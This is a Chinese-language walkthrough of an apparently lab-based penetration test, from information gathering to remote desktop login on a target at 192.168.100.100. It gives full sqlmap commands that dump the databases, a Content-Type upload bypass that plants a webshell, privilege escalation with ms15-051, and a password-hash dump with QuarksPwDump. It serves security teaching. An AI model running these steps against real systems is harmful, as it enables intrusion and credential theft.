记一次简单的渗透测试流程
记一次简单的渗透测试(从信息收集到远程桌面登录)
一.信息收集
- 你是否做了足够的信息收集?
第一次拿到这个页面之后尝试了用一些常用的密码登录,发现不可以登录; - 之后查看页面源代码,审查元素发现得到一些信息,他是php语言,用的是IIS7.5;
- 然后进行端口扫描,目录**;(这里使用nmap和御剑)
- 扫描目录后发现www,zip是网站所有的目录,审查的时候发现了账号密码;
二.网页中的敏感信息 - 网站中经常会有一些敏感信息泄露出来
三.登录网站之后有没有新的漏洞发现 - 登录成功之后可以利用bp抓包分析页面,抓完包之后发送到repeater页面,尝试sql注入,and 1=1 发现没有异常,and 1=2 发现异常,所以这里是数值型注入;
- 判断出是数值型注入之后,判断他的显示位,order by 发现他的显示位是6个;
- 接下来我们可以用sqlmap进行下面的操作,
Sqlmap -u http://192.168.100.100/member/userinfo.php --cookie “PHPSESSID=89fepnov10tlpnig9fvtrf8v33; id=1” -p id --dbms mysql --technique U --union-cols 6 -p是因为我们发现他的id有问题 --technique 是指定类型,因为我们发现他是联合查询注入,所以是U 。Union-cols是指定显示位。下图发现有警告是因为我们的操作级别不够,所以给他设置高的级别; - Sqlmap -u http://192.168.100.100/member/userinfo.php --cookie “PHPSESSID=89fepnov10tlpnig9fvtrf8v33; id=1” -p id --dbms mysql --technique U --union-cols 6 --level 3
- 从上图中我们可以看出他有两个数据库,接下来我们利用下面语句查询他当前的使用者
sqlmap -u http://192.168.100.100/member/userinfo.php --cookie “PHPSESSID=89fepnov10tlpnig9fvtrf8v33; id=1” -p id --dbms mysql --technique U --union-cols 6 --level 3 --users - 上图我们已经查询出他当前的使用者,我们利用下面的语句查询email数据库中都有什么表
sqlmap -u http://192.168.100.100/member/userinfo.php --cookie “PHPSESSID=89fepnov10tlpnig9fvtrf8v33; id=1” -p id --dbms mysql --technique U --union-cols 6 --level 3 -D email --tables - 上图中发现有5个表,依次查询表内信息;
- 从上图中我们可以看出我们想要的内容已经查询出来了,我们继续可以往下面做
sqlmap -u http://192.168.100.100/member/userinfo.php --cookie “PHPSESSID=89fepnov10tlpnig9fvtrf8v33; id=1” -p id --dbms mysql --technique U --union-cols 6 --level 3 -D email --dump-all,利用该语句我们查询出所有的内容,其中发现这个对我们很有用,在扫描后台目录的时候我们发现有个manager页面,所以我们可以尝试利用这个登录;
四.文件上传点是一个经常出现漏洞的地方
- 登录之后发现的页面
- 点击修改图片处上传一个正确的图片,用bp抓包分析一下;
- 根据我们上传成功之后的分析,我们再次上传php文件时还利用bp抓包,首先修改后缀名为jpeg发现是不可以的,所以后缀名这里我们放弃,然后尝试修改他的content-type
- 我们修改成允许的文件类型之后再次点击go,发现上传成功;
- 在下面这个图里面我们可以看出来已经上传成功,按f12找到我们上传的图片路径并访问发现我们上传的已经成功了;
- 到这个页面之后,我们可以上传一个大马;
- 上传大马成功后访问路径登录,
五.拿到webshell之后,要不要登录系统呢
-
首先应该想到就是提权,我们先查看系统信息,发现systeminfo不行,我们把他重定向到一个文件里面(>1.txt);
-
发现了他的系统信息,并且发现他就打了一个补丁;
-
上传提权的工具;
-
上传成功之后,我们利用他执行提权命令,发现已经提权成功。
C:/Windows/Temp/ms15-051x64.exe “whoami” -
提权成功之后尝试用mimikatz获取密码不行,然后又利用创建用户发现也不行,后来想到用QuarksPwDump获取密码,因为即使没有登录过他也有密码记录
C:/Windows/Temp/ms15-051x64.exe “C:/Windows/Temp/QuarksPwDump.exe --dump-hash-local” -
获取到密码的hash值之后,利用cmd5解密,获得了管理员密码;
六.远程桌面登录 -
执行命令netstat -ano获取到了他所开放的端口号,发现3389端口已经开放,所以利用远程桌面登录;